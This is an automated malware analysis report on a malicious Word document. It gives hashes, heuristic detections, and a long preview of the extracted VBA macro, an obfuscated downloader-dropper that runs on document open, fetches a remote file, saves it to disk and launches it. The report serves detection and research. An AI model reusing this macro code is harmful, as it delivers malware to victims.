Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f423dc64620a2785…

MALICIOUS

Office (OLE)

76.5 KB Created: 2019-05-14 23:42:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 0dfe25c4180bcd95a99e90fe0c4508b6 SHA-1: eeeea624f25257906090b7f7a4e100e0ca283864 SHA-256: f423dc64620a27857c5e352592ee7c9b4c5fcfbc5dad9b32d764e39a33013cef
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a Microsoft Office document containing VBA macros. Heuristics indicate the macros are designed to download and execute a file from a URL, a common technique for delivering second-stage malware. The ClamAV detection 'Doc.Malware.Chronos-6897935-0' further supports a malicious classification. The VBA script itself is heavily obfuscated, but the critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' strongly suggests the intent to download and execute a payload.

Heuristics 8

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    .Write SUkeK.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set child = CreateObject(lULto)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    .SaveToFile Environ$(technology("As_L@ L)&U.XScYEo)R?rSxZPDpRoGOjVFaMIKYL.WE i")) + technology("\.nM@xs XoKDvuTpv[bb .IYeddxtkeli"), 7 - 5
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 113738 bytes
SHA-256: a08600d784e1779d5410157183ac55015b54ca8a42ed017ed16362526f406a20
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function Adda3() As String
area = IsNull(72)
internet = IsDate(-812)
story = IsDate(654)
ability = IsNull(347)
Language = IsEmpty(152)
ability = IsError(-226)
oven = IsNull(-41)
feburary = IsNull(-545)
Language = IsDate(966)
story = Atn(743) + 998 + Cos(95) + 344 + 362 + Fix(529)
june = Sqr(100) + 60 + Abs(275) + Fix(812) + Sqr(823) + 961 + 276
story = Int(440) + Atn(568) + 643 + Tan(314) + 125 + 304 + 160
industry = 311 + Log(822) + 220 + 976
economics = 543 + 403 + 649 + 451
nature = 456 + 825 + 333
product = 965 + Sqr(212) + Abs(879)
quality = Tan(629) + 415 + 159 + 984 + 658 + 10 + Tan(513)
august = Int(18) + 476 + 813 + 207 + Atn(917)

Adda3 = "? q  hW  Rb)"
End Function
Function technology(UXEXbIKE As String) As String
    Dim HUVAHGN() As Byte
    september = IsDate(-570)
development = IsDate(412)
july = IsError(713)
may = IsNumeric(-469)

    Dim RjUUdD As Integer
    RjUUdD = 0
    HUVAHGN = StrConv(UXEXbIKE, vbFromUnicode)
    Dim XqHupZ(1014) As Byte
    For ezQaI = 0 To UBound(HUVAHGN) - 1
        If (ezQaI Mod 3 = 0) Then
            XqHupZ(RjUUdD) = HUVAHGN(ezQaI)
            RjUUdD = RjUUdD + 1
            fact = Fix(616) + Log(152) + 738 + Fix(773) + Tan(144)
quality = Int(142) + Fix(943) + Abs(580)
power = Fix(205) + Abs(350) + Sqr(627) + 43 + Int(381) + Sqr(925)
power = 629 + 740 + Abs(573)

        End If
    Next ezQaI
    technology = StrConv(XqHupZ, vbUnicode)
End Function
Function Addi9() As String

        For kevsFl = 3 To 10
            temperature = DateDiff("m", CDate(149069), CDate(228866))
safety = DateAdd("m", 6, CDate(27450))
quality = Weekday(CDate(234745))
economics = DateAdd("m", 4, CDate(114030))
economics = Weekday(CDate(56641))
television = Weekday(CDate(163234))

        Next kevsFl
        
        JtrAhVE = 0
        Do While JtrAhVE <= 10
            ability = 502 + Log(924) + Sqr(7) + Cos(671)
quality = Log(989) + 766 + 293 + Tan(720)
economics = 261 + Fix(526) + Int(944) + Sqr(69)
september = 881 + Log(889)
temperature = Sqr(193) + 887 + 334 + 2 + Tan(182) + 76
library = Fix(75) + 224 + 853 + 330
definition = Int(185) + 244
media = Atn(862) + Cos(571) + Cos(157) + Sqr(230) + Sqr(38)
product = Tan(813) + 261 + 340 + 608 + Cos(532) + Log(106)

            JtrAhVE = JtrAhVE + 1
        Loop
        
        GZSfM = 0
        Do While GZSfM <= 6
            definition = 520 + Int(126) + 429 + 55
area = Tan(204) + Tan(540) + Abs(999)
management = Log(750) + Log(993)
love = Sqr(256) + 505 + Abs(981) + Atn(701)
ability = Int(988) + Cos(106) + Int(436)
feburary = Cos(88) + Atn(557)
january = 930 + 623 + 254 + 818 + 671
feburary = 4 + Sqr(268) + Cos(239) + 771 + Log(909)

            GZSfM = GZSfM + 1
        Loop
        
        For GNsDT = 2 To 7
            may = 530 + Cos(52) + Abs(892) + 258 + Atn(867) + 332
definition = 739 + 41 + Int(735) + 451 + Fix(272) + 157 + Abs(839)
august = 864 + 14 + 998
Language = 528 + Abs(615) + 375 + 780
love = Abs(780) + Cos(521)
thing = Atn(768) + 976 + 437 + Tan(681)
library = Fix(432) + 618 + Cos(547) + Int(335)
industry = 178 + Sqr(840) + Int(498) + 840 + Tan(247)
july = Sqr(221) + 172 + Sqr(788) + 859 + 545 + Abs(757) + Abs(839)

        Next GNsDT
        community = Log(820) + 69 + 143 + Sqr(210)
september = 197 + 749 + 222
idea = 981 + 39 + Sqr(292) + Atn(508) + Int(79) + 737

Addi9 = "-m AY$ KNe "
End Function
Function child(lULto) As Object
june = IsError(-513)
novembercontrol = IsNumeric(-422)
fact = IsEmpty(-852)
development = IsNull(-313)
library = IsEmpty(-154)
product = IsNumeric(877)
Set child = CreateObject(lULto)

        wiuXL = 0
        Do While wiuXL <= 9
            october = 113 + 887 + 579 + Log(732) + Abs(656)
feburary = 818 + Sqr(857) + Int(462) + Cos(532)
june = 985 + 231 + 691 + Cos(450) + 59
knowledge = 96 + 814 + Fix(926) + Fix(886) + Sqr(312) + 123 + 406
society = Fix(906) + Sqr(27) + Fix(482) + 495 + Atn(244) + 738 + Log(941)

            wiuXL = wiuXL + 1
        Loop
        End Function
Function Aileen7() As String

        SWAMV = 0
        Do While SWAMV <= 4
            science = DateAdd("m", 2, CDate(60399))

            SWAMV = SWAMV + 1
        Loop
        Language = IsDate(-525)
april = IsNumeric(-899)
april = IsError(871)
ability = IsNumeric(-477)
feburary = IsNull(142)
story = IsError(-248)

Aileen7 = "zT! tFOY Za ovmsr[M"
End Function
Function instance(QYJqN As String) As String
 Set SUkeK = child(technology("MNfiJRcNar $oses_@oogfJjtp .H XP%MS LvsHRhTU&TmvPoa"))
science = Weekday(CDate(156412))
investment = DateAdd("m", 6, CDate(215873))
idea = DateSerial(1891, 8, 16)
nature = DateSerial(1953, 12, 10)
economics = MonthName(7)
safety = MonthName(12)
fact = DateAdd("m", 6, CDate(90219))
activity = MonthName(6)

With SUkeK
.Open technology("G yEJvTkZ"), technology(QYJqN), 1 = 3
.Send
End With
community = IsDate(-399)
story = IsNumeric(-254)
science = IsEmpty(544)
economics = IsError(782)
power = IsError(923)
april = IsNull(384)
community = IsNull(845)
definition = IsNull(837)
quality = IsNull(724)

Set NBUeiNN = child(technology("Al!D_(Or DHLBLq.aqS$rtz)rBZexDa#qm f"))
march = IsError(75)
thing = IsEmpty(871)
area = IsError(-911)
feburary = IsNull(484)
activity = IsNumeric(975)
power = IsNumeric(818)
story = IsNumeric(-902)
april = IsNull(-440)
novembercontrol = IsError(228)
internet = IsError(696)
library = IsEmpty(-415)
ability = IsError(806)
media = IsNull(645)
june = IsError(-101)
activity = IsEmpty(-845)

With NBUeiNN
.Open
.Type = 1
.Write SUkeK.ResponseBody
End With
power = 823 + Atn(524)
internet = 564 + 216 + Log(273) + 836 + 609 + 96 + 870
activity = Sqr(922) + 203 + 287 + 863
investment = 473 + 591 + 355 + Abs(363) + 390
september = Cos(995) + Abs(82)
june = Sqr(576) + 710 + Cos(76) + 574 + 763 + 222 + 893
story = Int(181) + Log(384) + 220 + Cos(919) + 233 + Tan(152)
economics = Abs(582) + Sqr(979) + Sqr(446) + Int(61) + 421 + Tan(320) + 915
definition = 289 + Sqr(803) + 889 + 906 + Cos(131)
society = 990 + Int(324)
story = Abs(83) + 244 + Fix(53) + 39 + Fix(961) + Int(971) + 429
industry = 25 + Fix(931) + Log(101) + Cos(970) + Log(284) + Fix(393)

With NBUeiNN
.SaveToFile Environ$(technology("As_L@ L)&U.XScYEo)R?rSxZPDpRoGOjVFaMIKYL.WE i")) + technology("\.nM@xs XoKDvuTpv[bb .IYeddxtkeli"), 7 - 5
.Close
End With
knowledge = 52 + Cos(711) + Atn(208)
thing = Tan(47) + Atn(996)
product = Int(739) + Atn(238) + Atn(612) + Fix(400) + Fix(145) + 409
june = Tan(580) + Fix(429) + 47
safety = Fix(176) + 1 + 28 + 886
investment = 12 + Sqr(55) + Tan(566)
nature = Log(361) + 808 + Fix(640) + 962 + 404 + 564
community = Fix(472) + 315

instance = "society"
End Function
Function Allene9() As String
media = 806 + Int(99) + 345 + Tan(286) + Log(708)
quality = 262 + 205 + 688 + 746
nature = MonthName(6)
Language = MonthName(6)
internet = MonthName(1)
community = DateDiff("m", CDate(109324), CDate(305496))

        DGvupFe = 0
        Do While DGvupFe <= 8
            novembercontrol = IsError(898)
june = IsError(84)
july = IsError(971)
feburary = IsEmpty(-443)
investment = IsError(456)
community = IsDate(-814)

            DGvupFe = DGvupFe + 1
        Loop
        love = Sqr(145) + Log(180) + 505 + 931
management = IsNumeric(-436)
august = IsEmpty(505)
january = IsError(-236)
story = IsEmpty(-134)
idea = IsDate(5)
Language = IsNull(427)
society = IsError(-929)
novembercontrol = IsError(-297)
definition = IsNumeric(41)
library = IsNull(729)
march = IsError(-434)
idea = IsNull(-247)
community = IsDate(-332)

Allene9 = "Dw nG rnW"
End Function
Function boyfriend() As String
Set exam = child(technology("sf h  eUml_LlGd.utai pr#pVvl.Gi]Bc Qa)Ct@Fi?moAon#d"))
definition = IsNull(765)
area = IsNull(-790)
january = IsDate(-569)
august = IsDate(988)

With exam
.Open Environ(technology("AdwL&^LjQUJvSEDEJ^Rw SflP SRHvOd Fu)IQnL )EI$")) + technology("\tGMq s-IoVFv bp  bH_. Bee[xkfeEh")
End With
january = 535 + Int(830) + Log(213) + Tan(931) + Sqr(28)
fact = 161 + Log(594)
library = Cos(465) + Abs(39) + 903 + Log(68) + 553 + 273 + 34

boyfriend = "management"
End Function
Function Allison6() As String
quality = IsNull(-202)
community = IsError(86)
product = IsEmpty(968)
television = IsNull(-376)
idea = IsNumeric(473)
science = IsNull(-589)
july = IsDate(810)
community = IsDate(-882)
power = DateDiff("m", CDate(377471), CDate(360733))
story = DateAdd("m", 6, CDate(48029))
product = Weekday(CDate(71675))
fact = DateDiff("m", CDate(424819), CDate(205733))
power = Weekday(CDate(239487))
idea = DateSerial(1863, 5, 12)
internet = IsNull(479)
area = IsDate(-539)
society = IsNumeric(212)
development = IsNumeric(429)
product = IsDate(-857)

        LfcAVx = 0
        Do While LfcAVx <= 5
            october = IsNumeric(-456)

            LfcAVx = LfcAVx + 1
        Loop
        
Allison6 = "ZZ( _li "
End Function
Function Agatha5() As String
industry = 52 + Int(180) + Fix(281) + 811 + 655 + Log(15) + Sqr(64)
novembercontrol = 976 + Tan(323)
area = Log(871) + 296 + 580 + Sqr(171) + Fix(106) + Abs(597)
quality = 104 + 759 + Atn(19) + 454 + Fix(963)
area = Sqr(504) + 66 + 580 + 132 + Abs(925) + Tan(854)
novembercontrol = Atn(706) + 940 + Log(452) + Fix(364) + 228 + Log(151) + 838
Language = 100 + 934 + 370 + Atn(549) + 190
Language = 33 + Fix(298) + Sqr(258) + Log(735) + 604 + 235 + 329
quality = Sqr(847) + Sqr(837) + Tan(842)
activity = IsError(-356)
fact = IsNull(-112)
temperature = IsError(-229)
library = IsEmpty(328)
management = IsNumeric(-646)
ability = IsEmpty(997)
january = IsNumeric(646)
march = IsNumeric(-891)
nature = IsEmpty(-285)
january = IsError(-890)
investment = IsError(358)
may = IsEmpty(5)
september = IsEmpty(274)
society = IsDate(-571)
temperature = IsNumeric(952)
novembercontrol = IsDate(-552)
april = IsNull(-540)
july = IsEmpty(-587)

Agatha5 = " Mq bb( K EsleSDuoz"
End Function
Function Alfie3() As String
temperature = IsNumeric(753)
science = DateSerial(1825, 5, 5)
ability = DateDiff("m", CDate(377195), CDate(46373))
library = DateSerial(1991, 4, 13)
fact = Weekday(CDate(188788))
fact = Weekday(CDate(31981))
media = DateSerial(1981, 9, 8)
march = Weekday(CDate(97063))
feburary = DateAdd("m", 3, CDate(66954))

Alfie3 = "_  vIVF.y?EEy"
End Function
Function Alisun6() As String
june = MonthName(3)
management = DateAdd("m", 5, CDate(228792))
television = DateDiff("m", CDate(215716), CDate(352155))
ability = MonthName(2)
quality = DateAdd("m", 10, CDate(133305))
industry = DateSerial(1855, 1, 11)
knowledge = DateDiff("m", CDate(316486), CDate(274401))
library = DateSerial(1995, 3, 15)

        For tpMrH = 2 To 6
            internet = IsNumeric(-177)
science = IsEmpty(823)
library = IsEmpty(-426)

        Next tpMrH
        
        klTFgaN = 0
        Do While klTFgaN <= 6
            activity = MonthName(10)
community = MonthName(11)
industry = DateSerial(1846, 7, 1)
march = DateAdd("m", 3, CDate(94166))
fact = DateAdd("m", 1, CDate(76242))
safety = MonthName(10)
story = MonthName(7)
nature = MonthName(6)

            klTFgaN = klTFgaN + 1
        Loop
        
Alisun6 = "K  ]ANA"
End Function
Function Albertina7() As String
library = IsNull(414)
march = IsDate(-872)
product = IsEmpty(-352)
novembercontrol = IsNull(212)
Language = IsNumeric(-339)
thing = IsNumeric(-977)
love = IsDate(-982)
science = IsDate(-587)

        For QMTXX = 3 To 7
            activity = DateAdd("m", 2, CDate(197046))
quality = DateSerial(1857, 2, 22)
media = MonthName(4)
media = DateDiff("m", CDate(216237), CDate(79761))
novembercontrol = DateDiff("m", CDate(473115), CDate(159530))
management = DateAdd("m", 6, CDate(61617))
novembercontrol = Weekday(CDate(36874))
management = MonthName(9)

        Next QMTXX
        
        UgFGG = 0
        Do While UgFGG <= 10
            Language = Weekday(CDate(177022))

            UgFGG = UgFGG + 1
        Loop
        
Albertina7 = "rC -#"
End Function
Function Addia7() As String
power = DateDiff("m", CDate(48424), CDate(321743))
october = Int(136) + Atn(350) + Sqr(432) + 222 + Tan(771) + 634 + 888
knowledge = 671 + 329 + 337 + 435
internet = 438 + 638 + Sqr(400) + 242 + Abs(813) + 923 + 654
quality = 322 + Fix(808) + 587 + 912 + 606 + Cos(941) + Tan(502)
Language = Cos(646) + Tan(779) + 520
science = Log(268) + Int(350) + 446
economics = 788 + Fix(458) + 920 + Atn(399) + Log(829) + Atn(765)

Addia7 = "agCEZA( E"
End Function
Function Almire3() As String
library = Weekday(CDate(132286))
development = DateAdd("m", 9, CDate(104812))
science = Weekday(CDate(208126))
management = DateSerial(1895, 11, 20)
activity = DateSerial(1967, 9, 22)
community = DateDiff("m", CDate(312109), CDate(341873))
industry = DateSerial(1969, 3, 5)
development = MonthName(8)
society = DateSerial(1913, 7, 4)
quality = Abs(417) + 440 + Tan(791) + Sqr(257) + Int(866) + Int(731)
thing = 814 + 463 + Cos(689)
internet = Atn(492) + Cos(965) + Fix(41) + Sqr(304) + 423 + 619 + 821
safety = 205 + Fix(372) + Tan(536) + Abs(223)
novembercontrol = 843 + 87 + 995 + Int(215) + 492 + Atn(643) + Atn(174)
love = 466 + 268 + Atn(565) + Sqr(86) + 205 + 150
story = Fix(180) + 290
community = Abs(705) + 340 + 8 + 75
july = Log(299) + Tan(444) + 710 + Abs(97) + 452 + 965 + 816
feburary = Fix(692) + 267 + Fix(193) + Sqr(389) + Sqr(696)
knowledge = 517 + 635 + 606 + Abs(476) + 53 + Int(465) + 424
idea = 216 + 843 + Log(670) + Atn(867)

        ZJCqFN = 0
        Do While ZJCqFN <= 3
            investment = MonthName(8)
september = DateDiff("m", CDate(481675), CDate(181250))
fact = Weekday(CDate(194402))
safety = DateAdd("m", 6, CDate(68788))

            ZJCqFN = ZJCqFN + 1
        Loop
        
        For tyOWOqx = 1 To 8
            june = 786 + Log(939)
safety = Abs(792) + 560
development = 219 + 164
power = 36 + Abs(977) + 238 + Fix(364) + Abs(954) + Abs(893)
may = 285 + 369 + 417 + Int(481) + Sqr(922) + 645
september = 872 + 357 + Log(7) + 545 + Log(863)
thing = 331 + 817 + Abs(653) + Atn(959) + 854 + Log(560)
august = Atn(33) + 363 + Log(894) + Atn(31) + 335 + 486
idea = 212 + Tan(305) + Int(565) + Sqr(403) + 903 + Sqr(929) + Sqr(0)
library = 187 + 841 + Tan(191) + Cos(714) + 504 + 773

        Next tyOWOqx
        
Almire3 = " s  oHS"
End Function
Function Alverta6() As String
thing = Abs(296) + Cos(222) + Tan(897)
television = 90 + 142 + 50 + Sqr(960) + Tan(238) + Tan(453)
industry = Tan(503) + 714 + Sqr(190) + 946 + Log(41) + Log(159) + 304
novembercontrol = Log(726) + Abs(762) + Log(761) + Abs(674)
activity = Abs(537) + 875
development = Abs(573) + 681 + Abs(360) + 544
industry = Int(148) + Sqr(509) + Sqr(624) + 235 + 11

        iZOmk = 0
        Do While iZOmk <= 3
            april = MonthName(6)
temperature = DateSerial(1829, 11, 20)
media = Weekday(CDate(50658))
april = DateSerial(1945, 9, 2)

            iZOmk = iZOmk + 1
        Loop
        
Alverta6 = "@  % P pC]U"
End Function
Function Alica2() As String

        For wZwLDgz = 3 To 10
            media = IsEmpty(-419)
internet = IsEmpty(14)
story = IsNull(-781)
media = IsNumeric(333)
economics = IsError(-330)
investment = IsNumeric(147)
Language = IsDate(628)
safety = IsDate(-814)
story = IsNumeric(310)
temperature = IsEmpty(-315)

        Next wZwLDgz
        
        MvcIqBG = 0
        Do While MvcIqBG <= 4
            ability = DateSerial(1872, 9, 12)

            MvcIqBG = MvcIqBG + 1
        Loop
        
        AVcqGVm = 0
        Do While AVcqGVm <= 10
            fact = Fix(716) + Abs(916)
community = 682 + 545 + Tan(929) + 984
june = 535 + Atn(178) + Tan(578) + Tan(91) + 672 + 429
community = Log(265) + Abs(338) + Sqr(899) + 320 + Int(251)
fact = 427 + 887
library = Tan(184) + 53 + 366
activity = Sqr(118) + 884 + 776

            AVcqGVm = AVcqGVm + 1
        Loop
        
        For Tflej = 0 To 10
            october = DateSerial(1990, 4, 10)
feburary = Weekday(CDate(240082))
october = DateSerial(1991, 3, 6)
april = DateDiff("m", CDate(461196), CDate(8951))
knowledge = Weekday(CDate(120181))
nature = Weekday(CDate(47728))
library = MonthName(9)
march = MonthName(11)
temperature = DateAdd("m", 10, CDate(175428))
area = Weekday(CDate(168367))

        Next Tflej
        
        For byEzwKf = 2 To 5
            may = 936 + 756 + 402 + Int(692)

        Next byEzwKf
        
        For eGfiPy = 2 To 8
            fact = DateSerial(1990, 8, 6)
community = DateAdd("m", 8, CDate(245030))
quality = DateAdd("m", 7, CDate(217333))
media = MonthName(7)

        Next eGfiPy
        
        For uXUZh = 1 To 8
            feburary = DateDiff("m", CDate(407095), CDate(220255))
idea = MonthName(2)
library = DateSerial(1816, 9, 28)
october = MonthName(3)
management = DateSerial(1853, 4, 24)
thing = DateSerial(1820, 3, 3)
power = DateDiff("m", CDate(198584), CDate(134232))
march = MonthName(7)
internet = DateDiff("m", CDate(403016), CDate(15245))
area = MonthName(4)

        Next uXUZh
        
Alica2 = " tz  z  "
End Function
Function Adela2() As String

        For nMAYQE = 3 To 8
            story = DateDiff("m", CDate(152671), CDate(195901))
Language = MonthName(12)
industry = DateDiff("m", CDate(91276), CDate(52323))

        Next nMAYQE
        
        For xmgejN = 2 To 7
            media = IsDate(456)
area = IsEmpty(-633)
activity = IsNull(571)
march = IsError(-321)
ability = IsNumeric(631)

        Next xmgejN
        
        For PbLkA = 2 To 7
            knowledge = IsNumeric(-838)
internet = IsEmpty(-579)
quality = IsNull(-857)
media = IsError(134)
thing = IsDate(-517)
definition = IsError(-89)
internet = IsDate(264)
thing = IsDate(-239)
oven = IsNull(-392)

        Next PbLkA
        
Adela2 = "rY )KARrtwf"
End Function
Function Ajay7() As String

        For fQdrSFz = 3 To 8
            product = Weekday(CDate(14668))
society = DateSerial(1991, 11, 10)
community = DateSerial(1857, 1, 10)
definition = Weekday(CDate(142633))

        Next fQdrSFz
        
        For YHPHa = 0 To 9
            definition = DateDiff("m", CDate(76705), CDate(359338))
knowledge = MonthName(2)
april = MonthName(2)
media = MonthName(3)
science = DateSerial(1971, 7, 20)

        Next YHPHa
        
        For mBPDD = 3 To 8
            october = IsDate(99)
october = IsDate(-483)
feburary = IsError(-987)
fact = IsNumeric(-428)
novembercontrol = IsNull(851)
knowledge = IsEmpty(420)
management = IsDate(159)
economics = IsNumeric(-797)

        Next mBPDD
        
        GDLpvR = 0
        Do While GDLpvR <= 3
            area = Fix(302) + Sqr(312) + 62

            GDLpvR = GDLpvR + 1
        Loop
        
        nhiDFhv = 0
        Do While nhiDFhv <= 6
            april = 165 + 535 + Sqr(884) + Sqr(168) + 676 + Tan(260) + 353
novembercontrol = 589 + 271
august = Fix(626) + Log(639) + 556 + 692
june = Int(237) + 313 + Abs(293) + Fix(910) + 506
community = Atn(681) + 624
novembercontrol = 336 + Tan(984) + 86 + 354 + 107 + Int(759) + 368

            nhiDFhv = nhiDFhv + 1
        Loop
        
Ajay7 = "wjV B)@h y&thM[(wc"
End Function
Function Alina5() As String

        zxcVG = 0
        Do While zxcVG <= 3
            community = DateSerial(1917, 11, 23)
Language = DateAdd("m", 6, CDate(79930))
internet = DateDiff("m", CDate(408504), CDate(103891))
april = MonthName(3)
oven = DateSerial(1918, 8, 3)
management = DateAdd("m", 8, CDate(230157))
july = MonthName(1)
june = MonthName(3)
april = DateSerial(1861, 10, 9)
power = DateAdd("m", 7, CDate(90172))

            zxcVG = zxcVG + 1
        Loop
        september = 431 + Abs(715)
august = Sqr(595) + Log(756) + 136
industry = 744 + Cos(291)
idea = Abs(148) + 801 + 406 + Abs(231) + 287 + 305 + Int(131)
september = 457 + 823 + Abs(346) + Int(399) + Log(877) + 415 + Log(365)
novembercontrol = Tan(812) + Atn(222) + 279 + Atn(965)
product = Log(310) + 721
economics = Atn(198) + 466 + 891 + Fix(587) + 86 + 44
knowledge = Int(978) + Sqr(52) + Tan(548) + Atn(674) + 747 + 998
thing = IsDate(-525)
activity = IsDate(77)
internet = IsEmpty(-630)
quality = IsNumeric(-691)
october = IsEmpty(705)

Alina5 = "O_X U ^eUk"
End Function
Function Alta6() As String

        For baBgaWz = 1 To 8
            october = Cos(372) + Sqr(673) + Cos(420)
Language = Abs(75) + 762 + Sqr(883) + Abs(489)
april = 991 + Int(887) + 994 + 338 + Cos(151) + 394 + Sqr(471)
definition = Abs(554) + 661 + Cos(174)
library = 8 + 777 + Fix(919) + 640 + 434 + Int(795)
fact = Abs(741) + Fix(801) + 631 + 614
management = Fix(250) + 497 + Atn(485) + 717
media = 794 + Log(513) + 524 + 842 + 42
internet = Log(891) + 316 + 998 + Cos(189) + Abs(874)

        Next baBgaWz
        
        For oaiMuim = 0 To 7
            product = 673 + 762 + 842 + 226 + Atn(111)
fact = Fix(86) + Abs(359) + 839 + Atn(695) + Int(299) + 63 + 141
october = Cos(44) + 887
july = 398 + Cos(518) + 63 + Log(564) + 919
definition = Atn(748) + 332 + Atn(366) + Atn(846) + Tan(741) + Atn(522) + Log(844)
library = 708 + 328 + 448 + 324 + 667 + Fix(645) + Log(943)
investment = 883 + 206

        Next oaiMuim
        
        For swQakJQ = 2 To 7
            power = 457 + Tan(709) + Abs(233) + 252 + 99 + Log(373) + Fix(754)
media = Cos(127) + 776 + Sqr(294) + 539 + Tan(585) + Atn(536)
product = Atn(505) + 245
Language = Int(402) + 491 + 380
economics = Int(966) + 684 + 587 + Fix(387) + 320
love = Fix(568) + 816 + 180 + 686 + Tan(689) + Int(934) + Int(580)
television = Log(566) + Log(850) + Tan(609) + 825 + 952
thing = 143 + 714 + 641 + 234 + 814 + 221
industry = 174 + 50 + Sqr(226) + 751 + Int(224) + Sqr(967)
definition = 126 + 544 + 22 + Log(272) + Fix(581) + 953 + Log(820)

        Next swQakJQ
        
        qiUNQRE = 0
        Do While qiUNQRE <= 6
            oven = IsError(637)

            qiUNQRE = qiUNQRE + 1
        Loop
        temperature = IsError(-138)

Alta6 = " F(sKLm "
End Function
Function Almira2() As String
society = Atn(470) + 761 + 399 + Int(586) + 169 + Atn(471)

        For aIcYM = 0 To 10
            may = Cos(365) + 792 + Abs(562) + Sqr(997)
knowledge = 970 + Tan(238) + 133 + Cos(28)
investment = 499 + Cos(715)
love = 573 + 258 + Abs(561) + 331 + 109 + Int(218)
media = 29 + Fix(78) + 870
novembercontrol = 558 + 279 + 640 + 387 + 315

        Next aIcYM
        
        For nanEDp = 2 To 5
            october = IsDate(-968)
oven = IsError(-424)
january = IsEmpty(-136)
january = IsNull(594)
may = IsEmpty(190)
investment = IsDate(-386)
fact = IsError(382)

        Next nanEDp
        internet = 100 + Int(734) + Abs(589) + 793 + Int(154)
quality = DateDiff("m", CDate(224524), CDate(340320))
april = DateSerial(1862, 9, 25)
june = DateAdd("m", 7, CDate(53504))
love = Weekday(CDate(185795))
quality = DateSerial(1918, 5, 28)
management = DateDiff("m", CDate(448233), CDate(440546))
television = MonthName(11)
may = DateDiff("m", CDate(187971), CDate(67135))

Almira2 = "Pmna CbThS .^k rj)%"
End Function
Function Adelice1() As String
novembercontrol = IsNumeric(-993)
power = IsEmpty(-179)

        LRDsGt = 0
        Do While LRDsGt <= 6
            activity = Weekday(CDate(206198))
june = DateAdd("m", 4, CDate(13151))
idea = DateDiff("m", CDate(120200), CDate(306470))

            LRDsGt = LRDsGt + 1
        Loop
        
        For wYaWzb = 0 To 9
            love = DateDiff("m", CDate(342606), CDate(108720))
community = DateSerial(1999, 9, 12)

        Next wYaWzb
        activity = Fix(484) + 347 + 688
activity = 260 + Cos(325) + Fix(383) + Sqr(400) + Atn(690) + Cos(762)
idea = Cos(758) + 177 + 540 + 474 + Abs(245) + 350
knowledge = Cos(948) + Log(17)
thing = 175 + 350 + 617 + Fix(8) + 156 + Atn(519) + 90
management = Tan(82) + Sqr(149) + 622 + 391

        yrbqL = 0
        Do While yrbqL <= 10
            community = Weekday(CDate(145098))
october = MonthName(9)
community = DateDiff("m", CDate(24035), CDate(404592))
temperature = Weekday(CDate(140689))
idea = DateDiff("m", CDate(335413), CDate(412793))
ability = Weekday(CDate(64938))
product = DateSerial(1838, 7, 5)
media = DateAdd("m", 6, CDate(111121))

            yrbqL = yrbqL + 1
        Loop
        media = 436 + Atn(192) + Tan(180) + 224
story = Int(642) + Int(178)
oven = 868 + Tan(570) + 538 + Atn(518)
media = 801 + 382 + Abs(45) + 139 + Atn(49)
society = 263 + Abs(522) + Tan(577)
october = Int(590) + Abs(67) + 671 + 636
knowledge = Int(510) + Cos(493) + Atn(820) + 621 + 404 + 835
management = 366 + 164
Language = IsNull(-246)
definition = IsNull(641)
march = IsEmpty(-874)
love = IsNumeric(-972)
society = IsNull(-848)
august = IsNull(950)

Adelice1 = "#Le(Nnw C-  bB"
End Function
Function Aimee6() As String
january = IsEmpty(-317)
investment = IsNumeric(-860)
science = IsEmpty(736)
story = IsNull(353)
activity = IsNull(246)
ability = IsDate(70)
power = IsError(-295)
development = IsError(923)

        For UbMHcJS = 1 To 9
            quality = Fix(482) + Int(644) + Atn(481) + Sqr(440)
august = 621 + Cos(217) + Fix(236)
story = 708 + 202 + Log(629) + 170
activity = 563 + Log(795) + Atn(975) + 204 + 344
library = Log(203) + Fix(741) + Atn(667) + Abs(353) + Log(884) + 136 + 843
love = 182 + Abs(607) + Sqr(993) + Tan(224) + 30 + 376
may = Cos(459) + 149 + Cos(26) + 314 + 886 + 306 + Cos(565)
march = 323 + 443 + 982 + 675
investment = Log(807) + Log(78) + Abs(652)
community = 126 + 755 + Fix(465) + Log(945) + Fix(150)

        Next UbMHcJS
        product = DateSerial(1855, 3, 7)
may = MonthName(4)
definition = DateAdd("m", 5, CDate(81015))
july = Weekday(CDate(37013))
science = Weekday(CDate(134316))

        oRACTZ = 0
        Do While oRACTZ <= 6
            management = IsDate(492)
development = IsNull(-489)
activity = IsNumeric(-45)
august = IsNumeric(-277)
television = IsDate(222)
quality = IsError(-334)
society = IsNumeric(943)
august = IsNumeric(25)
ability = IsNumeric(47)
september = IsNull(-139)

            oRACTZ = oRACTZ + 1
        Loop
        
Aimee6 = "[nXHxT"
End Function
Sub Document_Open()

    Adda3
Addi9
Allene9
Aileen7
